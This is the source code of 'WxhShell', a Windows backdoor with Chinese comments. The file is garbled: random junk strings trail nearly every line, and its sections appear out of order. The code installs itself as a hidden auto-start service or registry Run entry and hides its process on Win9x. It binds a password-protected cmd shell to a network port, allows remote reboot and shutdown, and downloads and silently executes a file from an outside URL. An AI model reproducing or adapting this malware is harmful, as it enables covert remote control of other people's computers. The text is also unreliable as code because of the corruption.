    if(Boot(SHUTDOWN)) <LzxnTx=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V%z?wDC  
    else { ens]?,`0  
    closesocket(wsh); *[m:4\  
    ExitThread(0); y/:%S2za>  
    } C"$~w3A k  
    break; B"zB=Aw  
    } ; O(Ml}z  
  // 获取shell bt(Y@3;  
  case 's': { !dUdz7  
    CmdShell(wsh); EeT 69o  
    closesocket(wsh); gwdAf%|f  
    ExitThread(0); Pouo# 5  
    break; 1)jea wVmj  
  } `SOQPAnK+;  
  // 退出 RRpY%-8M  
  case 'x': { \yZVn6GVr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i7Cuc+ j8  
    CloseIt(wsh); 3%Eu$|B  
    break; :U *8S\$  
    } n#}~/\P6  
  // 离开 ^#Mp@HK  
  case 'q': { N  /'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .ZV='i()X  
    closesocket(wsh); j S[#R_  
    WSACleanup(); fVf:voh  
    exit(1); 9D Nd} rXO  
    break; Dy>6L79G  
        } Jm#p!G+  
  } ck%YEMs  
  } Vo+.s#wN`h  
9_nbMs   
  // 提示信息 '=%`;?j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dJ/gc"7aO  
} 8 aIqc  
  } %P M#gnt@  
/}J_2  
  return; Qe\vx1GRLH  
} *W 2)!C|  
2K{'F1"RM  
// shell模块句柄 _x1W\#  
int CmdShell(SOCKET sock) /CMgWGI  
{ 09 trFj$L  
STARTUPINFO si;  @;$cX2  
ZeroMemory(&si,sizeof(si)); :CK`v6 Qs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D B65vM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,|3_@tUl  
PROCESS_INFORMATION ProcessInfo; ?o$ t{AQ  
char cmdline[]="cmd"; OzD\* ,{7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >j3':>\U  
  return 0; 7}y@VO6]  
} 6wj o:I  
u$C\#y7  
// 自身启动模式 d(TN(6g@  
int StartFromService(void) B@NBN&Fr  
{  }( CYok  
typedef struct HfgTc h  
{ 1#%H!GKvTU  
  DWORD ExitStatus; ot[ZFF\  
  DWORD PebBaseAddress; AIY 1sSK  
  DWORD AffinityMask; |JF,n~n  
  DWORD BasePriority; *4NY"EwjN  
  ULONG UniqueProcessId; +Ugy=678Tr  
  ULONG InheritedFromUniqueProcessId; > Xh=P%  
}   PROCESS_BASIC_INFORMATION; jex\5  
!=PH5jTY  
PROCNTQSIP NtQueryInformationProcess; @TD=or .&  
O39   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s~2o<#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7<*0fy5nn  
_z8"r&  
  HANDLE             hProcess; VFx[{Hy  
  PROCESS_BASIC_INFORMATION pbi; li v=q  
CHZ/@gc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |>.MH  
  if(NULL == hInst ) return 0; @'):rFr@F  
az:}RE3o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1 :$#a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )^AZmUYZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \8!CKnfs  
{U$XHG  
  if (!NtQueryInformationProcess) return 0; R]e&JoY  
Z37Dv;&ZD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - _ 8-i1?  
  if(!hProcess) return 0; *?d\Zcj85[  
q~ Z UtF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A{J?I:  
?d%{-  
  CloseHandle(hProcess); =X^a  
_u^3uzu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m"/..&'GC  
if(hProcess==NULL) return 0; gaz",kK<  
hnB`+!  
HMODULE hMod; `^[Tu 1  
char procName[255]; JDZuT#  
unsigned long cbNeeded; BYMdX J  
m(MQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ar\|D\0V  
d/j?.\  
  CloseHandle(hProcess); q4w]9b/  
p+|8(w9A${  
if(strstr(procName,"services")) return 1; // 以服务启动 Z!~_#_Ugl  
{6h 1  
  return 0; // 注册表启动 ^h2+""  
} \wsVO"/  
2wB *c9~  
// 主模块 %L- qAI&V  
int StartWxhshell(LPSTR lpCmdLine) /CO=!*7fz  
{ L&)e}"  
  SOCKET wsl; aVK,( j9u  
BOOL val=TRUE; mj e9i  
  int port=0; s|A[HQUtJ  
  struct sockaddr_in door; e+-#/i*  
6q8}8;STTY  
  if(wscfg.ws_autoins) Install(); IB| 6\uKn  
f3G:J<cL  
port=atoi(lpCmdLine); BKtb@o~(  
{[tmz;C  
if(port<=0) port=wscfg.ws_port; yP# Y:s  
.U=x2txb  
  WSADATA data; LEP TL#WT1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; / 7\q#qIm:  
]r 0j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bAH<h   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YcX"Z~O6j=  
  door.sin_family = AF_INET; TMY. z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 95~bM;T Vr  
  door.sin_port = htons(port); SO *oBA'  
=TNFAt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HM0&%  
closesocket(wsl); WwTl|wgvyI  
return 1; 4V4S5V  
} @@K/0:],  
Vdx o  
  if(listen(wsl,2) == INVALID_SOCKET) { `r-Jy{!y4  
closesocket(wsl); v JGH8$%;,  
return 1; /huh}&NNu  
} FCEmg0qdjD  
  Wxhshell(wsl); "Y L^j~A  
  WSACleanup(); t?-a JU  
d3q.i5']G  
return 0; Qd YYWD   
u28$V]  
} \3^V-/SJf  
aV|V C $  
// 以NT服务方式启动 cL*oO@I&_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R/"-r^j  
{ ;f[##=tm  
DWORD   status = 0; 3Fn}nek  
  DWORD   specificError = 0xfffffff; hx&fV#m  
#`gX(C>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~K#92  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R,78}7B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8CRbo24"s  
  serviceStatus.dwWin32ExitCode     = 0; [zN*P$U]  
  serviceStatus.dwServiceSpecificExitCode = 0; us?q^>u  
  serviceStatus.dwCheckPoint       = 0; DoFe:+_U3  
  serviceStatus.dwWaitHint       = 0; Z]Ud x  
*,CJ 3< >  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r2+ZxMo|  
  if (hServiceStatusHandle==0) return; Z T*}KJm  
b j@R[!ss  
status = GetLastError(); $8U$.~v  
  if (status!=NO_ERROR) m-\_L=QzM  
{ 4(P<'FK $  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F*#!hWtb  
    serviceStatus.dwCheckPoint       = 0; mMXDzAllB  
    serviceStatus.dwWaitHint       = 0; _;5zA"~c#@  
    serviceStatus.dwWin32ExitCode     = status; q?mpvpL G  
    serviceStatus.dwServiceSpecificExitCode = specificError; eq%cRd]u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xS%&l)dT  
    return; IoJI|lP  
  } .wq j  
(nmsw6 X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8g)$%Fy+N  
  serviceStatus.dwCheckPoint       = 0; zF^H*H  
  serviceStatus.dwWaitHint       = 0; .hxFFk%5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v&;JVai  
} 5lD`qY  
F%$q]J[  
// 处理NT服务事件,比如:启动、停止 K<::M3eQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dF 6od  
{ *q=\ e9  
switch(fdwControl) Mx6 yk,  
{ =|Qxv`S1  
case SERVICE_CONTROL_STOP: ; % KS?;%[  
  serviceStatus.dwWin32ExitCode = 0; mD% qDKI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C.#Ha-@uz  
  serviceStatus.dwCheckPoint   = 0; 3]9wfT%d  
  serviceStatus.dwWaitHint     = 0; ,7s+-sRG  
  { ZG1TR F "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^pu8\K;~  
  } w<THPFFF"  
  return; P3W3+pwq  
case SERVICE_CONTROL_PAUSE: 9v;[T%%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  G$'UK  
  break; 9]ZfSn)  
case SERVICE_CONTROL_CONTINUE: %hBwc#^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q({-C  
  break; Tf!6N<dRXR  
case SERVICE_CONTROL_INTERROGATE: VByA6^JR  
  break; ;Dp*.YJ  
}; CfS;F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;PG= 3j_  
} vv2[t  
_8y4U  
// 标准应用程序主函数 E A55!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0[d*Z  
{ AU)\ lyB  
! jAp V  
// 获取操作系统版本 A#?Cts ,M  
OsIsNt=GetOsVer(); hP WP6;Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S2|pn\0V  
V\L%*6O  
  // 从命令行安装 &$2d=q8mh  
  if(strpbrk(lpCmdLine,"iI")) Install(); jPz1W4pk  
G?b*e|@S  
  // 下载执行文件 OY81|N j  
if(wscfg.ws_downexe) { 6 F39'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #+_=(J  
  WinExec(wscfg.ws_filenam,SW_HIDE); iuXXFuh  
} T zS?WYF  
,d lq2  
if(!OsIsNt) { i9qIaG/  
// 如果时win9x,隐藏进程并且设置为注册表启动 l44QB8 9  
HideProc(); 6A =k;do  
StartWxhshell(lpCmdLine); 2 #yDVN$  
} N$t<&5 +  
else pN9U1!|uam  
  if(StartFromService()) LcA7f'GVK  
  // 以服务方式启动 <6;@@  
  StartServiceCtrlDispatcher(DispatchTable); <3j`Z1J  
else c+z [4"rYL  
  // 普通方式启动 M~`^deU1  
  StartWxhshell(lpCmdLine); IIGx+>  
\Ezcr=0z{j  
return 0; 3:#6/@wQ  
} sqV~ Dw  
hg<[@Q%$o  
BUsxgs"),  
; }T+ImjA  
=========================================== {0+WVZ4u  
pQc-}o"  
{"$ [MYi:  
JJg;X :p  
M,kO7g  
$.w$x1  
" C,mfA%63  
OJA_OqVp$K  
#include <stdio.h> ojm IEzsz  
#include <string.h> 3HcduJntl  
#include <windows.h> noz1W ]  
#include <winsock2.h> 0:I<TJ~P  
#include <winsvc.h> #ucb  
#include <urlmon.h> jy>?+hm?  
8b-mW>xsA  
#pragma comment (lib, "Ws2_32.lib") _4nm h0q4  
#pragma comment (lib, "urlmon.lib") $'eY-U8q  
-w"lW7  
#define MAX_USER   100 // 最大客户端连接数 :r "G Z  
#define BUF_SOCK   200 // sock buffer !'[?cEog  
#define KEY_BUFF   255 // 输入 buffer ]o=ON95ja  
O x`K7$)  
#define REBOOT     0   // 重启 Sa@'?ApH  
#define SHUTDOWN   1   // 关机 j+ L:Ao  
{' 0#<Z  
#define DEF_PORT   5000 // 监听端口 ?VRsgV'$  
]2|fc5G'  
#define REG_LEN     16   // 注册表键长度 4e|N^h*!  
#define SVC_LEN     80   // NT服务名长度 {SXSQ'=  
Val"vUZ  
// 从dll定义API b3 =Z~iLv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [MbbL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +kE~OdZG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (G{S*+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); biw . ~  
,=G]tnsv^  
// wxhshell配置信息 dcq18~  
struct WSCFG { )'RaMo` 4  
  int ws_port;         // 监听端口 y4IQa.F  
  char ws_passstr[REG_LEN]; // 口令 j6k"%QHf  
  int ws_autoins;       // 安装标记, 1=yes 0=no uH'?Ikx"  
  char ws_regname[REG_LEN]; // 注册表键名 8L_OH  
  char ws_svcname[REG_LEN]; // 服务名 S|@/"?DC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Ru8Nm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xqY'-Hom  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3>MILEY^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,3-^EfccW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @b.,pwZF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4]p#9`j  
,:'JJZg@  
}; ?ILjt?X8  
nsVLgTbx  
// default Wxhshell configuration jC}HNiM78  
struct WSCFG wscfg={DEF_PORT, E11C@%  
    "xuhuanlingzhe", |=,jom  
    1, (5th   
    "Wxhshell", ='qVwM['  
    "Wxhshell", Hsv)] %p  
            "WxhShell Service", ]63! Wc  
    "Wrsky Windows CmdShell Service", IDos4nM27]  
    "Please Input Your Password: ", $$o(  
  1, q I~*G3  
  "http://www.wrsky.com/wxhshell.exe", yoF*yUls^E  
  "Wxhshell.exe" sSGXd=":  
    }; x6!Q''f7  
A:Gd F-;[  
// 消息定义模块 9c,/490Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z6d0Y$A G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %3t;[$n#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xHaz*w1|  
char *msg_ws_ext="\n\rExit."; /2/aMF(J  
char *msg_ws_end="\n\rQuit."; 5=#d#dDc  
char *msg_ws_boot="\n\rReboot..."; emrA!<w!W  
char *msg_ws_poff="\n\rShutdown..."; p-EU"O  
char *msg_ws_down="\n\rSave to "; VMJaL}J]  
k%O3\q  
char *msg_ws_err="\n\rErr!"; -oUNK}>  
char *msg_ws_ok="\n\rOK!"; 9xzow,mi  
;]>)6  
char ExeFile[MAX_PATH]; ]W2#8:i  
int nUser = 0; z8{-I@+`  
HANDLE handles[MAX_USER]; @^ -Y&N!b=  
int OsIsNt; (/]#G8  
CP%^)LX *  
SERVICE_STATUS       serviceStatus; 4~FRE)8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $>yfu=]?  
% C2Vga#  
// 函数声明 NR k~  
int Install(void); `]6<j<' ,  
int Uninstall(void); e`7>QS ;.  
int DownloadFile(char *sURL, SOCKET wsh); VX8CEO  
int Boot(int flag); U{pg y#/  
void HideProc(void); xJ. kd Tr  
int GetOsVer(void); A4#F AFy  
int Wxhshell(SOCKET wsl); N#e9w3Rli  
void TalkWithClient(void *cs); PO6yE r  
int CmdShell(SOCKET sock); lfC]!=2%~8  
int StartFromService(void); <?!'  
int StartWxhshell(LPSTR lpCmdLine); jg{2Sxf!c  
4`:POu&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wJq$yqos{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Tt{z_gU6  
</xf4.C  
// 数据结构和表定义 R@tEC)Zn  
SERVICE_TABLE_ENTRY DispatchTable[] = ;A7JX:*?y=  
{ m9:ah<  
{wscfg.ws_svcname, NTServiceMain}, SvvNk  
{NULL, NULL} w <"mS*Q  
}; &$_!S!Sa/  
+By'6?22  
// 自我安装 dlCYdwP  
int Install(void) i}v.x  
{ oS9Od8  
  char svExeFile[MAX_PATH]; ZxT E(BQv  
  HKEY key; BQg3+w:>  
  strcpy(svExeFile,ExeFile); &V (6N%A^U  
vS0 ii  
// 如果是win9x系统,修改注册表设为自启动 mR XR uK  
if(!OsIsNt) { x`@`y7(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $)o0{HsL+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GQ@mQ=i  
  RegCloseKey(key); .RFH@''  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >8OY6wb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5.&)hmpg  
  RegCloseKey(key); vGh>1U:  
  return 0; $m*Gu:#xm&  
    } GCO: !,1  
  } `<>QKpAn  
} kI@<H<  
else { IHd W!q  
"P(obk  
// 如果是NT以上系统,安装为系统服务 aHpZhR| f$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZBY2,%nAo  
if (schSCManager!=0) WfG +_iP?  
{ @Bhcb.kbq  
  SC_HANDLE schService = CreateService },JJ!3  
  ( 7/QK"0  
  schSCManager, (Y7zaAG]  
  wscfg.ws_svcname, sw$uZ$$~#  
  wscfg.ws_svcdisp, L{8_6s(:  
  SERVICE_ALL_ACCESS, {9V.l.Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O]@#53)Tz  
  SERVICE_AUTO_START, d *gv.mE  
  SERVICE_ERROR_NORMAL, <n#X~}i)  
  svExeFile, >J S^yVk  
  NULL, -XV+F@`Md  
  NULL, C&vi7Yx  
  NULL, YkB@fTTS  
  NULL, 1eshuL  
  NULL KHHYk>FR  
  ); ;xzaW4(3  
  if (schService!=0) xt,Qn460;  
  { -mRgB"8  
  CloseServiceHandle(schService); oU\7%gQ  
  CloseServiceHandle(schSCManager); -q{N1? tcy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g:JSy  
  strcat(svExeFile,wscfg.ws_svcname); '&#gs P9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SKnYeT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JRFUNy1+e1  
  RegCloseKey(key); ws!~MSIy  
  return 0; +8N6tw/&  
    } !^su=c  
  } =VuSi(d;e{  
  CloseServiceHandle(schSCManager); p5or"tK  
} H#;*kc a4  
} GK'p$`oJm  
LPJ7V` !k  
return 1; b=:ud[h  
} FV "pJ  
4FRi=d;mP  
// 自我卸载 ~,1Sw7 rE  
int Uninstall(void) -X$EE$:  
{ wxh\CBxG  
  HKEY key; QtKcv7:4  
x$BNFb%I1  
if(!OsIsNt) { @g5y_G{SP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]&Y^  
  RegDeleteValue(key,wscfg.ws_regname); 5{V"!M+<  
  RegCloseKey(key); ;j1E6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `<se&IZE  
  RegDeleteValue(key,wscfg.ws_regname); ~d]v{<3  
  RegCloseKey(key); SU~.baP?  
  return 0; ~i%=1&K&`  
  } QWfSm^ t  
} <O'U-. Gc  
} >rEZ$h  
else { naf ~#==vc  
ySO\9#Ho  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1a{3k#}  
if (schSCManager!=0) S5TVfV5LI  
{ <nbk lo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EyPJ Jc8  
  if (schService!=0) V2T% tn;rp  
  { JXU ?'@QY  
  if(DeleteService(schService)!=0) { ,k4pW&A  
  CloseServiceHandle(schService); 70R6:  
  CloseServiceHandle(schSCManager); =+j3E<w  
  return 0; ;HXk'xN  
  } 0!dNW,NfJ  
  CloseServiceHandle(schService); P1LOj  
  } {j>a_]dTVX  
  CloseServiceHandle(schSCManager); BM /FOY;  
} 2n@`O g_0  
} [//i "Nm  
VrZfjpV  
return 1; ^*.$@M  
} Ju47}t%HB  
VM\R-[  
// 从指定url下载文件 "E2 0Y"[h  
int DownloadFile(char *sURL, SOCKET wsh) Q+ V<&  
{ T@yQOD7  
  HRESULT hr; BkXv4|UE  
char seps[]= "/"; {HEWU<5  
char *token; IXa~,a H71  
char *file; OmWEa  
char myURL[MAX_PATH]; tf6m .  
char myFILE[MAX_PATH]; 4}; @QFT*  
(cLKhn@  
strcpy(myURL,sURL); &]n }fq  
  token=strtok(myURL,seps); ,6g{-r-2  
  while(token!=NULL) 6Oy:5Ps8a  
  { 6;'[v}O^^  
    file=token; IVSC7SBiT  
  token=strtok(NULL,seps); X|hYZR  
  } LQPQ !):;  
R'c dEoy  
GetCurrentDirectory(MAX_PATH,myFILE); M+ %O-B  
strcat(myFILE, "\\"); (rBsh6@)  
strcat(myFILE, file); ]z^jz#>um&  
  send(wsh,myFILE,strlen(myFILE),0); cl^UFl f[  
send(wsh,"...",3,0); V[/9?5pM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 06.%9R{  
  if(hr==S_OK) N+c|0  
return 0; q%;cu1^"M  
else q ][kD2  
return 1; qco'neR"z  
[l5jPL}6  
} Y0,{fw<  
1sj7]G]`k  
// 系统电源模块 *b) (-#w3  
int Boot(int flag) l.pxDMY  
{ $mGzJ4&  
  HANDLE hToken; VX.LL 5  
  TOKEN_PRIVILEGES tkp; Bn&P@C$7  
8m iJQIq  
  if(OsIsNt) { sX~E ~$_g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QZvQ8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {k.:DH)  
    tkp.PrivilegeCount = 1; fKY-@B[|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cu#n5SF*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?{TWsuP7  
if(flag==REBOOT) { \2y/:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,V9qiu=m   
  return 0; uZn_*_J!  
} X2A k  
else { Fw&ImRMk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PdO"e  
  return 0; qA7,txQ:  
} [IOI&`?D  
  } y{mt *VA4  
  else { e x Z/  
if(flag==REBOOT) { &qXobJRM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =H;n$ -P  
  return 0; ]" V_`i7Z  
} ZXQ5fBx  
else { G>vK$W$f N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *$0*5d7  
  return 0; n}Z%D-b$  
} [ft6xI  
} n^[a}DX0  
V"4L=[le  
return 1; }V] b4t  
} rwj+N%N  
H[KX xNYZ_  
// win9x进程隐藏模块 tP|/Q 5s  
void HideProc(void) Jp"29 )w  
{ xW)  
2Ty]s~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QO;Dyef7b  
  if ( hKernel != NULL ) i. 6b%  
  { N:U}b1$L6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m@+v6&,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =p.avAuSn  
    FreeLibrary(hKernel); FA-cTF[,(  
  } K]$PRg1| 3  
^O7sQ7V"f=  
return; kBk>1jn"  
} s*g qKQ;  
HQ"T>xb  
// 获取操作系统版本 'm*W<  
int GetOsVer(void) QTa\&v[f  
{ 2EM6k|l5  
  OSVERSIONINFO winfo; [G8EX3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M4)U [v  
  GetVersionEx(&winfo); Ox J0. "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l GYW[0dy  
  return 1; #w|v.35%?  
  else eoww N>-2C  
  return 0; Tfh2>  
} /A0_#g:2*#  
k ?KJ8  
// 客户端句柄模块 cu>(;=  
int Wxhshell(SOCKET wsl) k vZw4Pk  
{ >U* p[FGW  
  SOCKET wsh; 5;KJ0N*-  
  struct sockaddr_in client; -51LF=(!L  
  DWORD myID; 5T.U=_ag  
$>#0RzU  
  while(nUser<MAX_USER) xRc+3Z= N  
{ !o`7$`%Wz\  
  int nSize=sizeof(client); (^iF)z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EoJ\Jk  
  if(wsh==INVALID_SOCKET) return 1; RP{0+  
c?CfM>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P x Q]$w  
if(handles[nUser]==0) !a UYidd  
  closesocket(wsh); O'98OH+u  
else pdJ]V`m  
  nUser++; fD[O tc  
  } >#:SJ?)`T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KS(H_&j  
AjEy@ /  
  return 0;  ( y!o  
} HUjX[w8  
kF^4kCJ@  
// 关闭 socket pqO0M]}  
void CloseIt(SOCKET wsh) qZF&^pCF}  
{ b%MZfaU  
closesocket(wsh);  b}NNkM  
nUser--; NUVKAAgMX  
ExitThread(0); DcBAncsK  
} O0jOI3/P%  
 mhrF9&s  
// 客户端请求句柄 s.7=!JQ#]p  
void TalkWithClient(void *cs) 4F.,Y3  
{ P `@Rt  
bu6Sp3g  
  SOCKET wsh=(SOCKET)cs; A{;"e^a-^l  
  char pwd[SVC_LEN]; z<9C-  
  char cmd[KEY_BUFF]; *;}xg{@  
char chr[1]; 8>WA5:]v  
int i,j; 5QK%BiDlr  
J/P[9m30[  
  while (nUser < MAX_USER) { +pG+ xI  
t[+bZUS$~  
if(wscfg.ws_passstr) { "9'3mmZm=?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N{bg-%s10i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KE"6I  
  //ZeroMemory(pwd,KEY_BUFF); 8<}=f4vUj5  
      i=0; AJ6l#j-  
  while(i<SVC_LEN) { Kw"e4 a  
`Gv\"|Gn  
  // 设置超时 N9|J\;fzT  
  fd_set FdRead; .?s jr4   
  struct timeval TimeOut; v\dQjQu8m  
  FD_ZERO(&FdRead); Tk[]l7R~  
  FD_SET(wsh,&FdRead); (bv{1 7K  
  TimeOut.tv_sec=8; &c!6e<o[p  
  TimeOut.tv_usec=0; vC>2%Zgf-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W7 A!QS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ox#vW6;)  
uQc("F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F-zIzzb&O  
  pwd=chr[0]; h[qZM  
  if(chr[0]==0xd || chr[0]==0xa) { U - OD  
  pwd=0; -V;Y4,:c  
  break; ox`Zs2-a  
  } ppn  8  
  i++; <QvVPE}z   
    } RuYIG?J=/  
67&IaDts  
  // 如果是非法用户,关闭 socket uMva5o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] / Nt  
} 7xO05)bz  
_+ 9i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PEEaNOk 1b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A z@@0  
:|kO}NGM  
while(1) { ;b 65s9n^b  
*w0|`[P+h  
  ZeroMemory(cmd,KEY_BUFF); xP~GpVhLF  
ds+K7B$  
      // 自动支持客户端 telnet标准   \( V1-,  
  j=0; I,#E`)  
  while(j<KEY_BUFF) { ZKrK >X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \?t8[N\_[(  
  cmd[j]=chr[0]; @` Pn<_L  
  if(chr[0]==0xa || chr[0]==0xd) { U[3w9  
  cmd[j]=0; =(hBgNH  
  break; mD7NQ2:wA  
  } `AE6s.p?  
  j++; .S|T{DMQ[  
    } `q]' ^EzJ  
@mZK[*Ak<*  
  // 下载文件 nI?*[y}  
  if(strstr(cmd,"http://")) { j?*n@'   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $!. [R}  
  if(DownloadFile(cmd,wsh)) r4[=pfe25  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tv7W)?3h  
  else K_Y{50#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2~hdJ/  
  } Zs/-/C|  
  else { 6_" n  
]t!v`TH  
    switch(cmd[0]) { <2@t ~ 9  
  6R^F^<<  
  // 帮助 l-W)? d  
  case '?': { IW i0? V  
